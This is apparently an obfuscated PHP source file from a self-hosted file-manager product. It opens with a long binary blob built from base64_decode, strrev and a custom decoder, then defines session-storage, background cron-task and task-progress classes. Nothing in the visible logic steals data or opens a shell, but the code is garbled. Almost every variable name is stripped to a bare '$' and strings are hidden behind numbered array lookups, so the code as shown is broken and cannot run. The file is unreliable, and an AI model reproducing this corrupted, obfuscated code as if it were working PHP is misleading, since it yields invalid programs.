==\16\247\3E\355\27*\334\371\242\344\200P\246a\230\343N\343\260\\212:\272`\314".base64_decode('FfFJAe6TGtm6ROOYazJTMParKhB1rGioOKoK/VZXeCrwmYPEMX3ECaQdFQ1HVZFANZiEGoc=')."\xadA2\x1b-\x16\x1eHk\x17"\x2!\xddi.$;\xd\xde\xc7\xea\xfd\xf5~\xb6\xb7-\x1c\xc2_\x14N\xcf\xba\xf8\x96"X@\xba\xb9P\xf74\xec\xe2\xb3C\xb7G\xcc\x82".base64_decode('rMdcz94FpqWtIWsBkaduI4SoC1CPqhmeu6EU6aBAH9UUdoBvvWPi1DvfvXiTG5bKUti7QcQ=')."\221\225x\314\244\257H&\316\333X\372=\2\357\374\32\3\2368\361\362\235\27\270 \231n\255"	\315D\1\202\375.:\302I\277\\204\342\373\377f\25Q\21f\3\26"."\xe6\xd3\x84\xa5\xde\xae\xfcX1\xe7\xc5B-o\6&\xear\xfcT\xeb\x84\xc7b)'\xbc\xcc\x12$\xc5\xd6\x9a\x15A\xea\x90\xaaA\x91\xdd\xc5I\xd6\xd1\x89\xc8\x93\xee]L\xdb".strrev('{+E QdncN 1<\\-kU'."\0".'2u@`/0	').base64_decode('RBtFhzKcjb3XeLHE1WukJssRhKNsU5Pg76IcSFfRSLk/SbRyvMUi+2DZSuUjIwMgnQjz+hw=')."\216[44\327\374R\321\355\27F\234\267\265R\267%\313\262)\245~z\303\314\271
\354A\345\321L\251\250\230g\352\377(\310\334\232L\361\3673Z#\374\211\261\276\341"."	\227\234\3558\222\3050r'&\214H9\340Dk\35\336\360\240\243T\334#y\7"\327=\224DaU;\225{Q*C\255
\346!Kr\217\301\347a\200\5
"."\374T\257\211\225\321\227\31\24\35 d\5\20{\20\265\317\24g!\302\205J\4!\231.\346\6\33\245L\3056M%\253\345\306\340\3109\325j\230j\315\303\37j\304O".";\xac\xa9\xcc\x85\x16\xde\x98\x84}Tj\x83\xbr\xe8M\x96\xf\xfb\xc3\xf3\xe1]/Vdo-\x89\x1c\x98\x86;\x9}\x87\x1d\x8f\xba"\x83\x8cHWk\xb8CR\x5\x94\x12\xd4"."`s\x87\x1a\xe8\xec,\x9b!\x7f\xc3\x8f\xf5h|+%\xc7\xa844\x1f\x9d\xb4\x94$~H\xd4X\x81S+\x14\xab\x90d\x6\xc5+\xfc\xa0YF\x0\x4G4\xdf\x80"\x95\xb8"."\210\322\217\360\303KB4\273r\301|\277\1%}\376#1\275\366c\235\272\334\321x\32e\25\37\222\332"L\232)\312|M\241C\327XInN*\2254\332\323\271"."B\xf1\x2wa\xee\xccn\xbe_\x933\xf1\xca\x89\x99\xec8\xc8\x8f\xe0\xc3\xdc\xf8g\xd9K\xb3\x80\xe4o\x80x\x93\xaj\xb9\xc5\xa5Ep\xe5\xbe\xa4\x9c\xc5\xbc\x8e\xa6\x89\xe8\xc0u"."\x1;?\xbf`>\xbe\xebaZ{~\x12\x99\xef\xcf/\x90g\x9b\xbc\xf6*\xfd\x98\x9fH\x92\xfcBT\xa1R\xff\xb0\xe5o(\xf9\xc5\\x19<\xc2\x1a6h!0\xd5\x6-9"."\x88\x91Rl\x17\xd0\xc\xc8\xe8\xc4\x82\x7\x9a\xe1\xf0\xc4bKJQE\xfc:\x93\\xf3\x14\x84\x9f\xbdU\xabhE\xd8\x9\xd2\x9a5\xa5i\xa0f\xed\xce\xa\xe4\xdw\x12F8w"."\32\26\10\2114\264\3579?C\221]\6\22)\206\376\2122\221\216V\21\241GwGf7S\220"\261\236\356J_\315\2325~\203)#2E(V\326\307\241i"."\274\307\347\204G=\201\241\347\200\220\340\206\244Hu,`\321~\376\32\361\324\223+\35*X\23\261\261qA7g\265zY\236J\344&\362\3341V\325\250\233\303\220\2"."\235%\23Kx0\330!\230q\362 \32\261\336\256G\321\262\323s\276\322(\355\362\21\241_\300i\4}\241\360V(S;\32\16\344\363\16"\305"\370Z,c\364\371"."9e\241We\276\244x,\311@\10]s\245c5CW\6\366\320D\222\207\21\216\234\22\362tT\27O\204\225\200\251\225D\234x\366|+Y0\362\266\203R".strrev('`#W i#i'."\n".'+'."\n".' XmJ?R')."\302\350sV\343\343X\260M\264\347\362\267w\340V\264+\6\317\232\2\35pAy\344\361\364\367\250#\371\274b\237\247\31\304[\223G\33\204\22\22\6\276\37j)\20"."\xb87\xed\x8cE\x13\xd1 \xf3\x9\xe8\x94\xe8\xd2\xb4\x19\xec0b\xd1g\xa7\xe2\xfc\xc6\xde\xdcq]%\x6\xc1\xb9\x10?\xa4\x06\x14\x8a\xb9\x1cW\x13\xc5(\xcdw\xcf\xc6\xf2\x7f\xba"."\311\35\252\236\352\235$_\351\326\330
+\210\235\351\2251{4
\355D\373t\2\277\365\267 Y\262\241\212-\270\352)_75f\320X\313\36^1\245T\361\336\222"."A\xca9\xa\xdelz\xe5\xd5\xe4\x7\xa+\x16_%\xbe\x14\x4\x7fX\x95\x9e\xca*_Muei\xeU\xffu\xe6c\xdd:\xf5\xd88\xca\x4\xefS\xc04\x90\x97\x8d\xc1H8"."\xd4\x91P\xc3\xc0/\xd4\xd5\xcf\xf6\xd5\x8aW\x87\x86%l\x12\xd3p\x90+.\x15t2\xaa>G\xb7\xca\xc\xd\xbd\x95Ip\xe5U=\xe7\x10\xca\xd2!\xcd\x98\xccZn}mm"."\255\267\266\16\375\317^c0\33\235
\314|\217\4R[\333@\376\247\31\344f\4P\320\231\203\250&#\367\00\242\353\320 \330^\321\211\272\310\370\326\356 ~,\252".base64_decode('4KbBtAjlW4R9xIgto7wOj6sK0RCAmC4GISt5CY2D0eMBB7azCwNq4JztrKhRA2SAoO38HTI=').strrev('I>Jo)Zq'."\r".'4taD(2aD@}h+')._kodDe('KIFuWg/wv4QlDcAafzWRG9wCp5ktmXiyE+Acf9/B8Cd5qSLJGH7cTiASD4wzvr3YhiAJvzmK').base64_decode('9OAajyvbnyRwru4mdIWAxyMGQAaNjMM+gSoVlcd2HgZkPUk4S2Lv2LihXtzuBjGKiL4FuA8=').",\xaa\x1d\xcd\xda\xab\x0\xc5\xa1Qb\xfe\x9f\xba\x85&r\xa0\x86\xfdJ&\xdcvO6\x997\xc7\xfd\x87[\xef\x90\xc5\xa4\xd9cWb\xf1\xefQ\xdd)!\x96@/\xf7\x82\xdc".base64_decode('dK5UgTvLVSZAb9JKCkB6KTS5gCwDjdNd0MRIbpDbApct51IRlqSCZoFDFKH/w+oYlg60vnw=')."\xc1\x1c@\x98`\xc9\x83\x86\xd2;\xcb's\xf0R\xc82@\xbc\xf52\x9c\x9c\x88\xaf6\x99\xbfy@-a\xd3@K\xf1\xcdS\x2-\xb9\x1a\xc5\x89\xce\x15.e\x4\xb9\xab:9".base64_decode('EZ+UZY0vcjBx1oGP4M4U3rLvQDomMbELWs7ql1VYGJigUliaJfs5VR1ownCVKZjhERKqHM4=').strrev('eaA8<s"Mc H=~!eFt')."9<\xa4\xaa,n\xc2+\xba\xcd\xb6\xa1Oe\x10\xd1\x89l%XE\xf6u\A\x3'KR\xc\xd7\xce.E\xd1\xb9\x1cl\xc7xp\xb2B\xfd\xb6+\xd89\xfd\x14\xe7\xfc\x94"."\x16\x0\x87q&\xe2.\xb1\x1dn\xb9\x10\xae\xab\xcbE\xa2\x16q*\x89c\xbc\xad\x94\xb5c\xca\xb1\xcaT_=(\xeeNe\xaeb(\x8d\x16\xea\x19~\xc7\xfd\x80\xf\xa1\x14\xe6\xb5".strrev('2{*#4mE6si6)B}dYbP')."\x1a7T\xe\xdb\x1\x821m~\xec\xc6\xd5\x7R\xd2>\x1b\x91\x99\xe2\x4-\xe2] \x9a\xeaP@\x90\x9c$pP\xd4\xc\xd6x\x8d\xb5\x8dh\xa0\x12g\x14\x92$\xc0\x15u\xeb"."\353\342\22\22\33\204\242\322\26M\30\4\233\355\361\314\25\205\320s%AA\225\337\336\270\216\5N\25\310\25\227\324#\313\264\17j\345u\342\26\344\204\232-p:\5=i"."\26Rx\227\224\214\347\344\354\230> G\211\256\3["\302\214\275\\5\266\265&\321"\2744\3I\273([n\223<]\240\230\344E\342^\275u
g{UZ"."3\215L\2232\10|9\16\330%
\226\236\316\21\1Y\274\330\307\257\256]\274({\215\247\310\254\36{^\207+ \266\253p\17,9\17U\213-\314\213\236\311E\310"."7K\212\320<\314m\211wxr\216\205}\232t\261Y,\227S\346S$K\32\321$g\277at\304 A\306\230\316\24\304\275u\365^f\0S~\233\307Nt\260"."\xb9\xa0\x85%\xa1\x1>\x133\xda\x6\xea\xd5\x0'`LI\x9\x80\x98x\x12\x16k\x88]+>\x9f\xc4\x0\x16\x8f\x15$\x6C\xe7\xaa\xd7\xc4\xfe\x93L\xeb\x85\xbe\x13\xd5\xc8\xc6\x0"."]\xe5\xf2\xe9\x8\xe1\xecf\x87\xe\xbd\xb\x0\xad\xfg>8-\x11\x8d\xa1&\xa8L\x87N\xa3\xab\x12p\xae#\xbbe!\xa5D?\xc4C\x3\x94dR\xd7(\xd2\xc0\x8\xbd-j"."\31\213\275\244\340DN$'L\236X\252\373\205\261\22\252\244F\340\230\U\215\215\308\244\230\355c\374\2519\326\253\304;7\327\234\267\344\10\313\345\310i9"T"."\217\324Q\232'q\250\21\235\331#`\307\373\316\266N?Oj\342\313\223JW\204\205\300 S\326\324Gu8	\216d\215\244\22\211\266\206\203\201Hs8\276H\31\300"."\267\272B\207\215W%\313V\265\204\237 \342*\311\271\300\211\10\233N\7\303\365>\356{\7\7\275}\350p\341M\361C\231%\216_\244\207P\231\360}\350\254\226b"."\245^(\2511\207\37\23fJ\312`\301|\31\350\214\220+K\300\371\202^
?\246c]J\251\305R\201b\231\326\0|\371/\20\307I24\342\231\364\334d\2157"."r\xc3\x86e\x8r\xc0J\x8c\xc9\xb5\x7\x9a\xdb\xc3\x1dj \x12\x89.q\xe8"\x8b+\x89\x2\x97\xbe\xa4d\xbfW\xd2\xcc\x88I\xa0_\x97\xedP\xca)\xe\xc7 .\x89\xc\x9d>"."\3310j\236\335\244\201\307^\356\314\206F%\277t\371\202fX\272\224@]\250\325\301\373<-\223qx\237\315\364K\321\242s\277-\373)\225~\200\245\21\356wr\200"."X\270\265-\361?n\252\221\22\246\3\215\24\323Z\343o\261\251\237\233\240\354\263\230}SxS*M\371\237\372\365\363\210\333H\225XOc\216EMr\226\2F\237\246"."\x85\xa3*\x91\xa4\xab\xe2\x13\x88\x8b)\x8c\xe5\xe5[`\x7f\xaj\xc0\xc6]C\xec1\x12\x8e\x88\xc3\xc\x86\x82J\xf0W\xe8\x11\x17\x9d\xdc\xb1\x14\x92\x1d{\x98D\xf\x91\x11\x18p\x87"."\246\246\3131\241[%\337\341v\260\344\33\304\225
\315\353\306\275@\220\275\242O(\306]W\211\242\356\2342
@\331\212\220\215q\0\245Q\251\245.4\271["e>"."\2638!>@\314\30\206\262y\333q\374o\223\237\347HSB\23\260\240\250\300\245~t\316Y\24O,\273\2576Uy\357$tX\34
\261\22\247\231\35+Ip\210"."\321"\2547\\275\32\273r\312\365\233\362\250\23z\216_hQ\317\270T:\341A\347\21\335.\365\245G\213\377\337\24\244\231q\311R\257\263\222\322\6Y\356\375S\360r".base64_decode('2E1g2hxxusvFKW7HgA6XgNIKI/YTZCeGzkKeEpdaCvF5riBiBHOP9YTY6ZcAS5+eSn964Jc=')."\xed\x86\xeeFP:\x7\x9f\xac\xe6\xa8\x18L\x1b\x99T\x81k\x80\x89\x84v]\x88$H)DX\xf2\x1a\xf3\xedN\\x8663\x92\xe^\xbc\xcay\x8b\xc4\xe6M\x9d\xce\xc8\x84\x8f"."7\261\365:}^q\265\3K,!\313vxYK\230	m\300CQ\25\23E\21k\32\223\303\262\312?\351\5\312db\303\24\237\357\5\22\0s\311\232\362\20\207\240"."\x94.\xba\xdd\x84I\xeb\x93\x93_\xb9\xf4\x0\xb1\xda\x9\xea\x89\x8e\xf7|\x5tD\xd3\xd9\x16\xe2\x0\xa3I~-\x9f\x17\x97(\xf2\x8e\x8b\xfeu<\xd5\x86\xbc\xaeD\x9bJ\x8c\x97\xa8"."Tw".pN\xba\xd8\xa4\x89p\xc9Y\xcc\x85\xe9e\x8e#\xb5 \x1d\x1ee\x1b\xd7\xf4\x82G\xbc\xf8\x5p\xd4\xceNz\xe9\xb\x3&W\xc9.\xe2\xb9@\x1e\xd1#~\xc6\xf6"."\227^\334c\3156\240(X\223\210\251p
\232\344\214\346\223Ow\0\240\314gfg\20\317\351\25X\342X\323\30\253\20\267M\275\257\22\242!\23\267\362\251\204\17't"."\326d\202=\203\245\273\366\361\300l\303f\370i\214;\201\225\242|E8]\332\321\245C~\232\365~~\324\302q\301\\310\26\234\204\346\220\333mk\251Z\346".base64_decode('bpatPfA1W8aB7KT+Zz3idfh3ecoTb5HzaC6dzoQ5a8JPMyUHIvdZiE+Gq0DMPWEJs1SULXQ=')."#\x1c\xdeq\xa5^\x3m,\xf5\xb0+\xd\x83\xd4\xefb!\xe3!j"\x1e\xa6\xa5Y\xd6I\xaf\xc3o\x9f{B\xcb\xb8\xf9\xfd\xde\xa\xe1\x11\x69\xa\xa6\x9cd\xb3a~_\x81"."]\x96\xbb\xc1\xc\x7\xc6\xa3\x1d\<P\xa4\xa6\xa5Kv\x98e\xd9T\xfd\xf4\x99se\x91\x8b\x98Bq\x85\xcc\xbcW\xd0\x1f`\x92\x4R(N4T\x98=k\x99|\x90L\xe7"."\253\236R\217\320\256-\344\177\266`\304\351\205\202J\232\304\274\276rN %<\225T\334\244\35\325\245\220db\35!K\254:\272\207
?\320\316oQ\376\243L?\244"."\215S,\26\352\333\327\314\340\223\177\26_3\330\5\315y\240-wn##\301\16\211XR,bN
/\220\361\210l\351`'\327h\233n\1\25.\2167V"l".strrev('!+5z?"}S20smz4gd	DMJ'."\n".'2')."\247$\340\324\355(\231l \27\342\10\355\354\267\253zTL\324\321\353Q&\3*\345\27%7\317\302h\243\304)\342\322\354\341\373$\22\10\362\356\332\311s\311\256d\311"."\xa3eas\x88,]\xc72\x96\xc\xc4\xcb\x8f~IE\xf2\xfa(\xadZr\xcc+\xe4VD\xd0\x5=\x82\xc5M\xf46H3\x3\xad\xfc\xc9\xb8&\xe9):\x85i\xc0\x1dJ\xe"."\xe9\xd1\xf0I>\xdbM9,9|F{B\x94=\xf0@\xcdq\x9c\x83Q\\x98D\x97\xe8W\xca\x95\xc8\xc6\x8c\x10\xd\xe1\x9d\x9c\xb0\xce5\xc04\xcb\x86\x9\x1c'/\xee\xb9\xd4".base64_decode('cRKz3O6LEWfpcNOSKnEWD2SUvOejX5M2YrHnilAHcxaDI5KAmhzfeKbDfgM2VOiiGMwqhOU=').strrev('sT(e|l0+aC%];r=e;0'."\r".'Nr')."oX\320\32\22\347\332\357\314j%3f\251\261\313>-\223\221\366\346\362\307\244\22\327\354\10'\7\271/\356r\21\3673f\267\233\366n"Nf~\326{\5y\301i"."\xe5\x8a\xc9\xce\x9d]\x8e\xddI](E\xaa\x85k<\x20;0\xb1c]\x99\x95A\x93\x187/h^\xceH\xe\x96\xb9\xf2'\xea\xc1N\x17\x7\x12\xf3S\x2&\x9a\x8fx$"."\xae\xa1\xccBI|\x9e%\xd6s`\x1ad\xb\x7\xd1<;\xf9V\xc3.\xd3{\xc\xa3\x86\xc4\xaa\xa\x10E\x99\x10:\x92J\xc8g\xc21\xb9\x8eDy\xde\x4\x8d\xf31\xbcp\x94".base64_decode('aHf5nqZAljy2jguNUg2Q0tKcsshF8OsFp+wOTys59tR6XQl1Xld13P22c9E4/EFTrRm00mI=')."XF\303du\344N\214\334\230{K\313\320\5\22\270\223,\321\362\24\2037J\310+qH\36\17Fy:&aD\235\251\n%)\212'%\241\260\233\267\244".base64_decode('yVN9JbsiI8KOmcJqiOIuNhGNhdQlYWyNI7w81MWsSRsm8a7CquxqryJP92ABoFNSiylQSUc=')."\344Q\222P\223\310v6\37\3447\307\316\367\335\322{\21f\212L\226\231:\201\361[\37\347Z\P\16,i\26,\331\236\250#\23\263u&\312\215\261\203~?\323"."\367\350\312\241\25\255'm=\245`N\301qx\350\236Q;\275\367\273\252C\371\34r\306\367@\302)&>\335\313T\227\31L\331r&\265!T.\17!i\334v`"."\223\360\342\343\366\336\343\364\326\323 	s\251#$\207\233\257\222I\3520\203\202\207q\345a\321y.>\6\363{r\346\267\5\253\2\372\261!3\374\232\305O\20\21".base64_decode('ZPDL1KzKtKCw8EHIoAjpLT18wpfswli0EMt2lBj4cz5Sk8oTyRQVNjlkTqD5ICdJmgDo3Jc=').strrev('q]n5$SC*[K1JM[*l8Y$#tzr').strrev(')CwJhmS\\'."\r".'|DW	.PbJ')."\222\211\21\361\366H\37\221\277\16p\342\255\217\3\2604U\230 \221\312\213\373D\321M\234V\256\373\204\30:\213\313&N8R\211$\352\327\212k\351HGp\254\306$"."\324whW\270\244I|\322iP\205\203\3619C0\344E\242\327\221\352\22*`\241\36\343=]Y \346\222\252/+
\223P@\317D\244\352d]\203I\304\313"."\177D`\245s\210%\3134"\203q7\246c\360\245\355\215w cr\246\2439eP\203\35G\34\212%%\231f&\203/\214'\311\246\272\307\322f\
!d"."\xb8\xb4A\xe4\xf4-\x16\xeM\xcc\x92\xcb\x10\x9a\x17pfQx\xdd5nr\x1\xf7\x98\xd2\x12\xe7\x92r\xfa\x88a'\xd3\x92\xa8\xa04\xb34\xbdP2\xcd\xd0\x80\xf2\xfdp\xb7"."\x96\xcd\xb2[\x80"*)i\x8f\xa4B\x950\xcb\x94\xa1-*[\x8cf\xe1\x92\xe2(\xe6(;\xc9\x10\xe0\xb24\xb\x97-\xc9f\x85K\xc6\x95\x94\xb3\xb5\xa25I\xf7J\x7\xf"."\4r\2512\35\26b+	t\262\361,\\3729X\3nh"\301+\337
!xs)\255\224kEY\340I[\341\206\26\374\20>x\227\313)\273@\301\364}"."\231\35\203\345\224\331#(\375\233T%L\250I\225nV"\257\214\322\26\375$\346\314ds\233e\262e
\260\362:b\261\262\364\315r*o\271\322\345\1\2c\3614"."\xc2\x94<\x11{\x981\x6\x85r,{D3\xd5\xb1\x89\x15s\x839\x93o\x8c)\xa1\x10\x8d\xb9\xba@\xc1=\xce%\xb59Q?W\x94\xc\xf4\x97}\xd3\xe3\xc1\xd2\xb1R\xc9S".base64_decode('hnlIlx9G0YO9aRtJ3ekFQLa6SfPZRzKSLN4lBheyOocaURnhMEmiQZ+4kaL1SWyZwAnH8zs=').strrev('q$(g*H'."\0".'FT9:L~O3	yfSL}~>;"U')."\xc8\xcd#A[B\xb1H\x10\xd4\x19\xb0x)\xae\xd3\B\xe7\x1c\x11|\xa3\xc9#\xf2\x6\xf\xf7\x95-E\x97\xe2\x85H\x184S}\xe6(3u\x89\xf0J\x1a$q{\xa9\xb9".base64_decode('udph9ytxWYGOGIWx/DTHDy6nvKQO8HbrW5kfcBSnbjm5Tvx31QA3GKIK6m+GiJPheWA8ES8=')."\311\352\304\343K\242\261f\352\236\246$\233\224\222\324\24K\262:\333\242\35\223\345\205\332\3\341HI\36\326h\354P\205\321T\232\25\356$\255$7\370\223\265"\34\".base64_decode('JFpSaquWXRhGwM+omBfpAi2fNtm9GIOPaxkmsZIuWPSssKoryjgFcfL8W8z8NQ84fUK6FIw=')._kodDe('KVcOOjg0Tfimg98W2rAK1up26SWUh3nEgUGWmhgqiH05eYfnkERzSaM5rlmDicwjEu/u6Zpf')."\220\344\212\341\300\315<\326\4\5\330\225f\237t\365GO{`\17\0\6X\322H\245aG\266\255
\224\3250\241rtL3\204\204\373\377\0\21\361\217h\24\274\0\0"."".base64_decode('').base64_decode('').""."", 10, -8))); goto F; d: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[6]][$[436]]; self::$sessionTime = $[$[1736]]; $ = isset($GLOBALS[$[1737]]) ? $GLOBALS[$[1737]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$[1738]]; $ = $[$]; $ = $[$[923]]; switch ($) { case $[21]: self::$handle = Model($[924]); break; case $[925]: self::$handle = new CacheRedis($, $); break; case $[926]: self::$handle = new CacheMemcached($, $); break; case $[233]: $[$[87]] = $[$[87]] . $[1739]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][929])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[840]) != $[91]) { return; } if (self::valueGet($[1740]) == $[91]) { $ = self::valueGet($[1741]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1740], $[91]); self::log($[1742] . ACTION . $[1743]); Hook::bind($[1744], $[1745]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[840]) != $[91]) { self::valueSet($[1740], $[231]); self::log($[1746]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1740] => $[91], $[1741] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1747])) { self::valueSet(array($[1740] => $[231], $[840] => $[231])); self::log($[1748]); die; } $ = file_get_contents(BASIC_PATH . $[1749]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1750]) . $[10] . match_text($, $[1751]); if ($ != $) { self::restart(); self::log("stoped.[version update;{$versionNow} => {$version}]"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1752]] = 1; $_SERVER[$[1753]] = $[1754]; $_COOKIE = array(); $GLOBALS[$[1755]] = 1; $GLOBALS[$[1756]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[840], $[231]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1740] => $[231], $[840] => $[91])); self::log($[1757]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[840]) == $[91] ? $[231] : $[91]; self::valueSet($[840], $); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1740], $[231]); self::log($[1758]); } public static function config($, $) { self::valueSet($_SERVER[][840], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = Model($[1759])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$[487]] || $[$[1760]] != $[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($[1761]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $ = json_decode($[$[207]], !0); $ = intval($[$[1741]]); $ = strtotime($[1762] . $[$[1763]] . $[1764]) - strtotime($[1765]); $ = time() - strtotime(date($[1766]) . $[1767]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1768]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1768]] == date($[1769]) && $) { return !0; } break; case $[1770]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1771]) == 0 ? 7 : date($[1771]); if ($[$[1770]] == $ && $) { return !0; } break; case $[1763]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1772]: if (time() - $ >= floatval($[$[1772]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($[591])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1773], $[1774]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1775] . $[$[487]] . $[1776] . $[$[32]] . $[1777] . $[$[1778]]); Model($[1759])->run($[$[487]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[394]: $ = url_request($[$[1778]], $[1513], !1, !1, !1, !1, 10); if ($[$[840]]) { $ = strlen($[$[1303]]); } break; case $[1779]: $ = Hook::apply($[$[1778]]); default: break; } Model($[1780])->add(array($[1781] => $[12], $[1782] => $[231], $[33] => $[1783] . $[$[487]], $[1784] => json_encode(array($[32] => $[$[32]], $[1785] => timeFloat() - $, $[380] => $)))); $ = $ ? $[1786] . $ : $[12]; self::log($[1787] . $[$[487]] . $[178] . $); return !0; } public static function valueGet($) { $ =& $_SERVER[]; $ = $[1788]; $ = Model($[520])->get($, $); if (is_null($)) { Model($[520])->set($[840], $[91], $); Model($[520])->set($[1740], $[231], $); $ = Model($[520])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ = $[1789]; CacheLock::lock($); $ = Model($[520])->set($, $, $[1788]); CacheLock::unlock($); return $; } protected static function log($) { write_log($, $_SERVER[][1774]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[520])->cacheKey($[1788])); Cache::clearMemory(Model($[520])->cacheKey($[1790])); Model($[1759])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "stop"; const STATYS_RUNNING = "running"; const STATYS_KILL = "kill"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[487] => $, $[1791] => USER_ID, $[1677] => $, $[538] => $[12], $[33] => $, $[1158] => $[12], $[1156] => $, $[1792] => 0, $[1793] => 0, $[1794] => 0, $[1795] => timeFloat(), $[1796] => 0, $[1797] => 0, $[1798] => 0, $[1799] => 0, $[840] => $[1740]); $GLOBALS[$[1800]] = 1; Hook::bind($[1744], array($this, $[1801])); Hook::bind($[1802], array($this, $[1803])); $this->startAfter(); Hook::trigger($[1804], $this->task); $this->task[$[1797]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1797]]) { self::valueSet($this->task[$[487]], !1); } $this->isEnd = !0; if ($) { $this->task[$[538]] = $; } self::log($[1805] . $this->task[$[487]] . $[1806] . sprintf($[947], timeFloat() - $this->task[$[1795]]) . $[1807]); Hook::unbind($[1744], array($this, $[1801])); Hook::unbind($[1802], array($this, $[1803])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1808], $); } public function update($ = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1792]] += $; $[$[1796]] = timeFloat(); if ($[$[1156]]) { if ($[$[1156]] < $[$[1792]]) { $[$[1156]] = $[$[1792]]; } $ = timeFloat() - $[$[1795]] - $[$[1798]]; if ($ <= 0) { $ = 0.001; } $[$[1793]] = $[$[1792]] / $[$[1156]]; $[$[1794]] = $[$[1792]] / $; if ($[$[1793]] > 0) { $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } $[$[1799]] = $[$[1799]] <= 0 ? 0 : $[$[1799]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1797]] < $ && !$) { return; } $ = self::get($[$[487]]); $ = $[$[840]]; if ($ == self::STATYS_KILL) { $ = array($[1809] => LNG($[1810]), $[1313] => !1); Cache::set($[1811] . $this->task[$[487]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$[1798]] += $; self::valueSet($[$[487]], $); sleep($); $this->update(); return; } } $[$[840]] = $ ? $ : $[$[840]]; $[$[1798]] = $[$[1798]] ? $[$[1798]] : 0; $[$[1797]] = timeFloat(); Hook::trigger($[1812], $); self::valueSet($[$[487]], $); } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1805] . $this->task[$[487]] . $[1813]); Hook::trigger($[1814], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[]; Cache::set($[1811] . $this->task[$[487]], $, 60); if (!is_array($) || !$[$[1313]]) { self::log($[1815] . json_encode($)); } return $; } public static function get($) { $ =& $_SERVER[]; $ = self::valueGet($); if (is_array($) && $[$[1816]]) { $ = ActionApply($[$[1816]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1795], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public 